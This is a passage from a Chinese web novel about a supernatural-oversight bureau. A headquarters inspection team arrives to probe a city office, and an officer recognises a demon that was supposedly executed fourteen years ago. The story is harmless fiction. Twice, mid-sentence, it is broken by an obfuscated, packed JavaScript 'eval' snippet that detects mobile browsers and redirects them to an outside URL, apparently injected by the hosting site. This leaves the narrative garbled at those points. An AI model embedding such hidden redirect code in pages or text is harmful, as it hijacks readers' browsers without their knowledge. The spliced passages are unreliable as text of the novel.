这司机从外表上看,实在是脱离了大众对于公职人员的刻板印象。本来像周纬那样一身纨绔气质招摇过市的已经算是夸张了,这人却居然更加出格——只见他外表看上去简直像个未成年,一头刺猬般的乱发,发尾挑染成了时髦的银白色,铆钉夹克加破洞牛仔裤的装扮,在珑湖三月刚到零上的温度里,委实是谁看谁都要冻出一身鸡皮疙瘩,实在是个要风度不要温度的晚期患者。 这人身材还不高,被别克宽大的商务驾驶座一衬,更显得手短腿短,像个小正太,与其说是总部派下来调查珑湖市局的监察专员,倒不如说更像个偷偷逃学溜出来上网的中学生。 中学生模样的杨小钱大声嚷嚷道:“骆老不是让我们来给珑湖市局擦屁股的吗?” 此言一出,季凌风和申彦雪全都面色一肃,申彦雪一把推在他手肘上,呵斥道:“小钱,别乱说话!” “哎呀!”杨小钱的声调更高了:“雪姐你别推我,我这儿开车呢!” 骆老——骆明章,前任异监局总部特委会委员,季凌云的老师,正是这次派他们来珑湖跟进调查灵器黑货案的人。 ——其目的也正如杨小钱所说,是来给珑湖市局“擦屁股”的。 * 半月前,徐培风携灵器黑货案的案件报告来到雍京总部,当即给总部投下了一颗重磅炸弹。 新一届特委会召开在即,围绕着这起轰动全国的灵器黑货大案,总部执行局和管理局展开了新一轮的针锋相对。 异监局因其职业特性原因,外勤人员只能由灵力者担任,数量稀少,且长期冲杀在与妖类战斗的第一线,战力强、伤亡大、牺牲多,所以长期以来都笼罩着一层“精英”“英雄”的光环。因此总部执行、管理、技术三局中,历来都是以掌管着外勤干员的执行局为首,话语权也最大。 然而想要维持整个部门的正常运转,只有外勤干员也是不够的。三局中负责事务性工作的管理局,其下掌管着占据监察员数量四分之三的内勤干员,近年来声量越来越大,且对外勤干员隐隐表现出来的优越感也愈发不满。两局高层虽然还维持着表面和平,手底下的人却已经在各种会议上多次爆发过争吵,逐渐暴露出意见不和的倾向。 这次珑湖市爆出的灵器黑货案,无疑是给双方已经愈演愈烈的争端再添了一把火。 执行局在对待妖类的问题上态度激进,历来都主张不应将妖类和人类同等视之,认为对待妖类就应该动用严律酷法;而管理局在这个问题上的态度则要温和得多。这次的灵器黑货案,一定程度上暴露出了《监察法》忽视妖类权益而造成的不良后果,被管理局抓住痛脚,大作了一番文章。 但执行局当然也不甘示弱。为了反驳管理局的意见,他们针对徐培风提交的案件报告提出了一系列质疑,意图削弱这个案件的影响力,将对于《监察法》的质疑转移到对于灵器黑货案本身的质疑上来。两方争执不下,辩论许久,这才导致原本可以简单走完结案流程的一个案子,中间又徒增许多波折。 最终双方达成一致意见,因为徐培风提交的案件报告确实存在诸多疑点,所以决定派遣调查组来珑湖对案件进行进一步调查。 而在调查组的人选上,双方又有一番争议。最终还是那位资格极老的骆明章先生从中调停,选定了季凌云三人作为调查组成员。 “来之前骆老不是交代了吗?”杨小钱大大咧咧地道:“我们这次说是来调查,其实就是来看看,怎么才能给珑湖市局那份漏洞百出的结案报告补窟窿。真不知道那个徐培风是怎么想的,他要上总部交报告,难道就不会把文章做得漂亮一点吗?要是他的报告无懈可击,我们还用费这么多事?” “你小点声!”申彦雪忍无可忍道:“骆老虽然是这个意思,但是明面上的调查工作也必须要做。更何况就算要补窟窿也要先把窟窿找出来,至少从我们手里交上去的这份报告要无懈可击才行……” 然而就在这时,季凌云打断了她的话:“不,我们不是来补窟窿的。” 申彦雪&杨小钱:“……” 只见季凌云腰背笔直,神色严肃,眼神中透露出来的就只有大写的“公平正直”四个大字:“我们接下了调查组的任务,就是要做好案件调查工作。这次我们来珑湖只为灵器黑货案,务必要把这起案子查到干净、透明,彻彻底底、毫无死角为止。” 申彦雪&杨小钱:“……” “彦雪,你做得很好。”季凌云把文件夹递还给申彦雪,用一种满含鼓励的语气道:“继续挖,按照你刚才所说的思路查下去,我相信这个珑湖市局在办案过程中一定存在更多的违规行为,务必要连根拔起,一丝不露地全部挖出来。” 申彦雪一脸牙疼的表情:“组长,你知道自己是站哪边儿吗?” 季凌云严肃道:“我们永远站在公平和正义的那一边。” 申彦雪和杨小钱同时绝倒——又来了! 季凌云——异监局总部最为特立独行的异类,管理局一把手林凡辉的亲侄子、国际事务司司长季正阳的亲儿子,却能同时兼任着执行局行动二处的副处长,在鹰派和鸽派两边都堪称“心腹”。 他能做到这样,就是因为这人是踏踏实实两边不靠——他只认死理,别的委实是一概不认的! 真不愧是异监局总部头号“棒槌”! “棒槌”季凌云对两位下属内心的疯狂吐槽毫无所觉,继续开口道:“另外刚才我想了一下,珑湖市局还有一个人,我认为我们应该重点注意。” “是那个A级妖类李默?”申彦雪接口道:“他的资料我还没来得及看过,但他是第一个下放到地方分局的妖类,结果刚一来珑湖就出了这么大的案子,我也认为他身上有很多疑点……” 然而季凌云打断了她的话:“不是他。” “是珑湖市异监局的监察队长,周纬。”季凌云道:“我发现这个人行事风格非常过激,常有出格之举,这次擅闯夜市动武、私自解除灵枷……还有许多其他乖张的行为,都说明这是一个性格桀骜不驯、视纪律法度如无物的人。这么一个人在监察队长的位置上干了四年之久,我不知道珑湖市异监局是怎么想的。” “另外,我还发现了一个疑点,不是在这次的案子,而是在周纬的个人履历上。”季凌云说着,拿过身边的平板,轻点几下调出档案,递给申彦雪:“看这里。” 申彦雪接过来,只见季凌云指的是周纬入职珑湖市局时的一份推荐材料,她眯着眼睛读了出来:“‘有办案经验和外勤作战基础,四年前曾辅助参与过妖犯抓捕行动,做出突出贡献’……等等,四年前?” 她倏然一愣,意识到了问题所在:“我记得周纬入职珑湖市异监局已经十年了吧?这份材料应该是他刚从灵修学院毕业时写的,那时候的‘四年前’,距离现在岂不是有……十四年了?” “十四年前,周纬才多大?”她惊讶道:“他怎么会有资格参与珑湖市的抓捕行动,还‘做出突出贡献’的?” 季凌云点了点头:“没错,你再看这份推荐材料的落款。” “‘邢海峰’……等等,这不是珑湖市前任异监局局长的名字么?”申彦雪愕然抬头:“一个刚从学院毕业的学生,竟然能请动堂堂异监局给他写推荐材料?” “不止。”季凌云肃然道:“我翻阅了周纬这个人在灵修学院时期的档案资料,他的所有表格中家庭关系一栏都是空白,但所有需要填紧急联系人的地方,他填的都是这个‘邢海峰’。” 申彦雪的眼睛猛然瞪大了:“你的意思是……” 季凌云面色严峻:“我怀疑这个周纬和珑湖市局前任局长邢海峰有着不为人知的利益关系,珑湖市局存在着严重的以权谋私和裙带关系问题。” 申彦雪:“……” 堂堂地方分局的监察队长,居然是个靠裙带关系上位的草包,传出来乐子可真就大了。这件事如果坐实了,珑湖市局从上到下都讨不了好。 那起灵器黑货案也会就此被直接盖过也说不定。毕竟负责查案的地方分局都有这么大问题,这起案子还有什么说服力? 然而就在这时,杨小钱的声音插了起来 “那个,季老大,雪姐,我插句嘴啊……”他没回头,手还在把着方向盘:“我不是为这个叫周纬的开脱,也没搞懂你们说的什么以权谋私、裙带关系……我就是想说,十四年前的那起抓捕行动,我好像有点印象。” “你?”季凌云愣了:“十四年前你才多大?你怎么会知道?” “当然不是我亲眼看到的啦!”杨小钱哭笑不得道:“前段时间我不是帮档案科汇总整理已经被处决的妖犯花名册嘛,偶然看到过这起案子。据我所知,这个案子的妖犯是一只B级钦原,曾经在珑湖市杀了七个人,最后一个刚好就是这个周纬的朋友。周纬是最后一起案子的报案人,同时也是他提供了关键性线索,引导珑湖市局成功抓到了他,当时我记得负责领导整个抓捕行动的,就是这个邢海峰。” “但这不是重点,重点是这个钦原杀了六个人,前五个都是灵力者,尸体都被吃得七零八落了;唯独最后的这个叫陈洺的男生是个普通人,而且死的时候,身边还有一个叫陈筱曼的人类女孩,两个人应该是在约会。” “那只钦原吃人是为了增强妖力,因此杀的应该都是灵力者才对。后来专案组调查了陈洺的社会关系,发现他身边只有周纬一个人是灵力者,所以当时专案组的猜测是,周纬和陈洺长期在一起,陈洺身上沾染了周纬的灵力气息,所以那只钦原才会认错了对象。” 季凌云和申彦雪这下都听明白了:“换言之……” “换言之,那只钦原其实是冲着周纬来的。”杨小钱言简意赅地总结道:“而那一对无辜的凡人情侣,其实是做了周纬的替死鬼。” * 与此同时,周纬和李默已经离开了案发现场,在废弃仓库周边打起了转。 灵力者犯案的情况不是没有,只是相对较少。因为现代社会,即便是身怀异能的灵力者,大多也是在法治社会条条框框的约束中按部就班地长大的,“遵纪守法”四个字已经深入骨髓,没什么事也不会滥用自己的能力去杀人放火。 当然,杀得这么凶残的就更罕见了,所以周纬觉得这次犯案的凶手恐怕多少有点心理问题。 犯罪现场虽然凶残,但也不是一点蛛丝马迹都没留下——实际上凶手留下的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091626|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺大,仓库周边发现了一辆烧焦的面包车。 这就是灵力者犯案跟妖类犯案另一个巨大的不同之处了:人类犯案通常是要借助工具的。 因为哪怕灵力觉醒之后,人类的身体素质会得到一定程度的改造和提升,那也远远无法和妖类这种“人形凶器”相提并论,像这种同时杀三个人的情况,要怎么把三个受害者带到案发现场来都是个大问题。 打个比方,如果是李默要杀人,他完全可以把这三个人绑在一起,捆结实点儿背在背上打包带走,高来高去地走房顶屋檐,躲过一切地面监控——反正背三个人对他来说轻而易举,只是姿势可能不那么美观而已。 但人类要这么做就比较困难了。所以如果是人类灵力者杀人,要把受害者全都带到案发现场来,最大的可能还是借助交通工具。 凶手显然也意识到了这一点,因此在杀人之后,把自己乘坐的交通工具面包车烧毁了,由此可见其具备一定的反侦查意识。 然而,只要有交通工具,就有被监控捕获的可能。这废弃仓库周边的监控虽然稀少,但以如今监控摄像头的密集程度,也不是没有找到的可能。 所以周纬打算先在附近碰碰运气,圈画出有可能捕捉到嫌疑人的监控,实在找不到,再去交警大队调路网记录。 而且他刚好还有帮手。 “前方右拐,上大路。”李默道:“这两侧的小路最近应该没有人走过,嫌疑人不是从这边来的。” 周纬听话地一打方向盘,同时在心里感概——李默真是好用。 李默的感官之灵敏简直令人叹为观止。他在五感全开的情况下,几乎可以把整个仓储区域所有人和事物的动向全部感应得一清二楚。尤其是他的嗅觉之灵敏,甚至可以追溯到某条路上两三天前大概有多少人走过。这种能力要是让公安那边知道了,恐怕拼着违反保密条例也得豁出老命过来抢人。 他依言拐上了大路,不过五分钟,就猛地踩下了刹车 路边赫然出现了一座加油站,门口的两只电子眼如同两位警惕的门神,将大路上的来往车辆尽收眼底。 周纬拿过后排座椅上的笔电和自己的工作证,对李默道:“走吧。” 五分钟后,两人站在加油站的电脑前,看着店员调出来的监控视频。 “根据公安那边的初步勘察结果,案件发生的时间应该是昨天半夜,大概在十一点到凌晨三点之间。”周纬道:“面包车已经被烧毁了,看不出具体车牌,车型也经过了改装。我们重点筛查乘客人数在四人以上的,先看看有多少。” 李默依言快进。他的视力不知道比人类要高出多少,捕捉画面信息的能力简直惊人,视频速度很快从两倍速提高到了四倍、八倍,直到周纬都已经跟不太上了,李默却依然目不转睛,神情专注。 仅过了不到二十分钟,他就抬起了头。 “昨夜十二点到今天凌晨三点,从这条路上驶过的面包车共有十二辆,其中搭乘人数三人以下的有四辆,五人以上的有两辆,三辆非珑湖牌照。剩下的三辆中,有两辆后来又从这条路上驶离了滨海北路,只有一辆再也没有出现过。” 李默点击视频,将其中的某一辆车单独定格在了画面上:“就是这一辆。” 那是一辆再普通不过的面包车,车身破旧,看起来已经开过了不少年头。然而这种落地不过六七万的普通车型,上面竟然贴上了昂贵的全隐私防窥膜,将四面车窗遮挡得严严实实,根本看不见里面坐了到底多少人。 “这辆车虽然无法确定乘坐人数,但我觉得也有一定嫌疑,周队你看……”说到这里,李默才突然发现身边的周纬已经好久没出声了,疑惑地转头看了他一眼:“周队?” 这一眼看过去,李默忽然一愣。 周纬不知看到了什么,脸色竟然有些苍白。他的嘴角无意识地颤抖着,眼睛死死盯着眼前的屏幕,神情是一种几乎难以形容的不可置信。 他轻声道:“……放大。” 李默不知出了什么事,赶紧将屏幕上的画面放大了。 周纬的瞳孔剧烈地一颤。 也许是因为夜晚加油站的灯光太亮,也许是因为角度刚刚好就卡在了这个点上,也许仅仅是因为“冥冥中自有天意”—— 只见那辆面包车昂贵的漆黑防窥膜上,宛如镜子一般影影绰绰地映出了一个人影。那几乎只是一个模糊的影子,根本无法辨析面容和身材,只能看得到那人是正踩在加油站的屋顶上,以一种“飞檐走壁”般的姿势从上空一掠而过。 这个位置本不应该被任何监控捕捉到,然而好巧不巧,那一抹影子就这样倒映在了一辆可疑的面包车、可疑的防窥膜上,被监控摄像头完完整整地记录了下来,又被李默惊人的动态视力捕捉、定格……最终倒映在了周纬的眼瞳里。 一切都好似命中注定。 周纬猛地抓住了李默的手臂。 他喃喃自语道:“他怎么会出现在这里……” 刹那间,面前的黑白视频画面像是变成了一个漩涡,开始扭曲、旋转,渐渐将他带回了十四年前的那个风雨之夜——横空而过的闪电、瓢泼冰冷的大雨,惊恐扭曲到几乎辨认不出的面容……而单薄瘦削的少年在狂风暴雨中奔跑,绝望地奔向一个自己终生无法逃离的噩梦。 从此以后,那个狰狞的身影就永远定格在了他的噩梦中。 李默眼睁睁地看着周纬的脸色变得惨白,身体剧烈地颤抖起来,手上无意识的力道大得像是要把他的手腕捏断。他双眸大睁,目眦欲裂,血丝一根一根地缠绕上了他的眼球,俊秀的面容一时竟然显得有些狰狞。 “他怎么会在这里……他怎么会在这里……” 他的声音逐渐增大,最终变成了掺杂着无限暴怒的怒吼。 “他不是应该已经死了吗?!为什么还会出现在这里!” “钦原!!!——” 35. 罪人 “周队!”李默一声低喝,手掌沉沉地一压周纬肩膀。 周纬浑身一颤。李默的那一句低喝仿佛带着一丝轻微的精神震荡,针一样地扎进了他的耳膜。他豁然抬头,血灌瞳仁,脖颈上的筋脉几欲破皮而出。 恍惚之间他甚至忘记了身在何方,几乎没有认出李默是谁,直到片刻后方才猛然惊醒过来,他转身就走。 李默慌忙拉住他:“周队!你要去哪里?” “放手!”周纬狠狠一甩,然而李默力气太大,他一下竟然没甩脱,反而变成了徒劳无功的挣扎:“我要去找他们!我要让他们给个说法!我……” 他的话音一滞,像是突然反应过来了,蓦地狠狠咬住了嘴唇,将后半句话截断在了唇齿间。 旁边的加油站店员被这突然爆发的争执惊动了,战战兢兢地探出头来看着他们。李默朝那个年轻店员摇了摇头,示意他没事,随即转过身来挡住了周纬,幽邃的眼睛担忧地看着他。 “周队,怎么了?”他道:“发生什么事了?” 仿佛被他这句话刺到了似的,周纬的瞳孔剧烈地颤抖了一下。 他本能地张了张口:“我——” 然而就在他开口的时候,另一个声音在他心里振聋发聩地响了起来。 ——不能告诉他。 不能说。不能开口。不能告诉他。 你觉得你已经洗脱罪孽了吗?你觉得你已经可以卸下这副重担了吗? 你张嘴哀告,是想获得什么?理解,宽恕,还是原谅?你想顾影自怜吗?你想哀哀求告、悲悲切切,以求得眼前之人对你的一丝悲悯和宽慰吗? 你配吗? 周纬狠狠闭了闭眼,眼角的褶皱拉出了一道痛苦而深长的纹路。 他不配。 李默是个多么温柔的人啊……他不了解当年的事,也不认识阿洺,只要自己开口,想必他一定会心生悲怜,宽柔地劝慰自己的吧……他不明真相,只会难过于眼前自己的痛苦,想尽办法帮自己纾解慰藉。 然而这痛苦是他该受的。 他不值得任何人安慰、劝告和纾解,因为他的罪还没赎完。 他更不值得李默这样温柔清澈的人予以宽慰,用自己卑劣的唇舌蒙蔽他无辜的耳目,玷污他一尘不染的心。 更何况有什么必要呢? 这么多年来,他背负着当年的罪孽走过,就像是把自己心剖开,埋下了一颗棘刺横生的种子。那颗种子扎破他的心脏,汲取着他的血肉生长,长得枝繁叶茂、根深蒂固、鲜血淋漓,与他难解难分。他甘之如饴地吮吸着这棵血淋淋的树带给他的痛楚,用剖心之苦日复一日地提醒着自己身为何人、身在何处。这痛苦一日不息,他就知道自己还活着。 这棵树已经在他的心里扎了十四年的根,拔不出来了。 “我……”他睁开眼,喉头艰难地动了动,嘴唇干涩,试了两次才找回了自己的声音:“李默……你相信我吗?” 李默低头看着他,斩钉截铁道:“当然。” ……多么澄净的眼神啊。 大概只有从来无愧于天地、无愧于内心的人,才能拥有这么澄澈坚定的眼神吧。 周纬想,我何德何能,能被这样的眼神注视着呢? 痛苦和愧悔快要将他的心撕烂了。周纬品尝着这痛楚,突然无意识地笑了一下——这才是他熟悉的滋味。 这痛楚像是给他打了一剂强心针,周纬飞快地收拾好了自己的情绪,将所有心情一丝不落地收敛地干干净净,眼神似乎很快就恢复了清明,他抬起头来看着李默:“虽然你说相信我……但我还是要先提醒你一句,这事儿恐怕非常匪夷所思。” “十四年前,当时我还未加入异监局,但是因为上一辈的关系,我认识珑湖市异监局的前任局长。”周纬三言两语把跟自己有关的细节略了过去,只拣重点地说:“当时我跟过局里的一个案子,妖犯是一只B级钦原。他在珑湖市杀了七个人,最后我亲眼看着当时的局长给他戴上灵枷,把他押上了送往总部的押送车。” 他一指视频中,面包车防窥膜上倒映出来的那个影子:“就是这个人。” 李默眨了眨眼睛。 他一时像是没反应过来似的,迟疑着问道:“所以你的意思是说……” “我的意思是,已经被抓捕、被押往总部的那个妖犯钦原,现在又好端端地出现在了珑湖。”周纬点了点头:“对,就是这样。” 李默脱口而出:“怎么可能?” “连续杀害七人已经属于重案犯,对于妖类来说,除了死刑不会有第二种判决方式,这个钦原应该已经死……” “他应该已经死了。”周纬截口打断他:“他于十四年前的6月29日被逮捕,半月后押往总部受审,判处死刑,同年11月初被执行死刑——这个钦原确确实实应该已经死了。” 他抱着双臂站在原地,望着李默的眼神如平湖般无波无澜。 李默缓缓眨了眨眼睛。 直到这时,他才慢慢地反应过来——周纬刚刚问他的那句“你相信我吗”是什么意思。 一个本来应该已经被处决的妖类,十四年后怎么可能又好端端地出现在了珑湖呢?幽灵复生了吗? 那太扯了。 且不说世界上根本就不会有复活这种事,就算有,也不可能发生在妖类身上。妖类死亡之后身躯消散,留下的妖核只是一种纯能量的结晶体,说白了就是一块固态灵砂,除了可能附带着原主的某些特殊属性,其他的跟那些无知无觉的死物没有任何区别。 人类尚且还有灵魂这种东西,可以转世,妖类甚至连转世的可能都没有,又怎么可能复活呢? 可如果不是死而复活,那就只剩下一种可能了——这个钦原根本没死。 那这事儿可就大了。 一个本已经被逮捕、被审判、被处决的妖类,不仅不但没死,甚至摆脱了异监局的监控,恢复了自由身?这意味着什么? 总部执行局全体监察员都是绣花枕头?还是说有人以权谋私,做了人类叛徒? 甚至是这个负责监察、管理整个超自然世界的唯一官方组织,实际上却已经腐败糜烂不堪,从上到下漏成筛子了? 这件事如果查实,对整个异监局系统产生的震动都可以说是颠覆性的。 这事儿简直没法细想。 可是既然不能细想,那就只好往另外一个角度去想了。 比起“妖类复生”或者“异监局出现重大管理漏洞”这件事,显然是另外一种情况可能性更大——那就是周纬看错了。 本来就是这样。一辆疾驰而过的面包车,防窥膜上刚刚好就映出了一个人影?这个人影刚刚好就是十四年前凶案的逃犯?这一幕刚刚好又被监控视频记录了下来?而这段监控视频又刚刚好被十四年前案件的一位亲历者看到,并且认出来了? 这么多的“刚刚好”要是都能同时成立,那周纬的运气强得差不多可以逆转时空、干碎地球了。 更何况那个倒映在防窥膜上的身影本来就是模糊一片,还经过多次扭曲,以李默的视力,第一遍看的时候竟然都有没察觉那是个人影……十四年前周纬才多大?记忆可是会随着时间风化褪色的,都已经过去这么久了,他的记忆真的还准确吗? 怎么看,质疑周纬都要比质疑异监局总部要合理得多。 所以周纬才那样问他。那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091627|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题其实是在问—— “你真的,能那样毫无保留、坚定不移地相信我吗?” 李默轻轻吸了口气。 他转向周纬:“你打算怎么办?直接向总部发文质询么?” 周纬一愣。 他像是没反应过来似的,迟疑地看向李默:“你不……不觉得是我疯了?” “不会。”李默摇了摇头,语调清晰地道:“你刚才的反应不会是假的,你一定很确定这就是十四年前的那个妖犯。既然你确定,那我就相信你。” 与此同时,他也压下了心中的一些疑虑—— 十四年前到底发生了什么案子,能让周纬记忆深刻到过了这么久,还能仅凭一个模糊不清的倒影,就认出当年的凶犯? 而且他当时应该还是未成年,又为什么会参与到异监局的抓捕行动中来? 还有,他刚刚那个反应……面色苍白、浑身颤抖、情绪失控……还有那仿佛不知自己身在何时何处,宛如被拖入了记忆闪回之中一般的表情…… ——那是PTSD的症状么? 周纬:“……” 他的心里突然泛起了一种异样的酥麻感,仿佛心脏深处一块格外柔软、敏感的地方蓦然被戳中了,让他整颗心都忍不住轻轻一颤。 然而还没等他回答,就听见突然响起了一阵急促的铃声——周纬的手机响了。 周纬一愣,接了起来,只听电话那边,传来了何昭华一阵急促而低沉的声音:“喂?周队,你在哪儿?多久能赶回市局?” 周纬一皱眉:“怎么了?” “总部的调查组!这帮人不知道发什么神经,一声招呼都不打就杀来了珑湖,给咱们来了个措手不及,现在人已经在局里坐着了!” 周纬&李默:“……” 两人对视一眼。李默就见周纬忽然唇角一勾,露出了一个扭曲的微笑: “这可真是……瞌睡了就有人送枕头。” 言语间仿佛已经带了血气。 “我们二十分钟后到。”周纬对着电话那头的何昭华开口,语气充满山雨欲来的阴沉: “来得正好。他们来调查我们,我刚好也有一件事……要找他们问清楚。” * 二十分钟后,珑湖市异监局。 周纬刚一下车就感受到了市局内罕见的压抑气氛。何昭华掐着点儿出来等他,一见面就匆匆迎了上来,压低了声音道:“这回恐怕不好,来的人是季凌云。” 周纬一挑眉:“谁?” “季凌云。”何昭华低声道:“总部执行局行动二处副处长,总部最年轻的二级监察员,号称异监局‘明日之星’——管理局国际事务司季司长是他亲爹,林凡辉副部长是他亲姑父。这个人得罪不得”。 周纬发出了一声嗤之以鼻的冷笑。 他道:“那这位‘明日之星’现在在哪儿呢?” “在赵局办公室呢。”何昭华的眉心紧紧地拧成了一团:“这次调查组来得一声招呼都没打,恐怕是动真格的,赵局提前让我出来接你就是让你注意点儿,别口无遮拦地跟人家抬杠——季凌云还带来两个组员,这会儿就在审讯室,已经开始问话了。” 周纬脚步一顿:“审讯室?不是会议室?” 何昭华面色凝重地点了点头。 后面跟着的李默也眉头一皱——要了解情况、例行询问的话,在会议室足矣。结果这个调查组却把问询地点选在了审讯室,很难说不是为了给他们一个下马威。 这是要把珑湖市局的监察员同事,当犯人来审么? “好,那咱们就去审讯室。”周纬冷笑道:“兵来将挡,咱们去会会这群‘钦差大臣’。”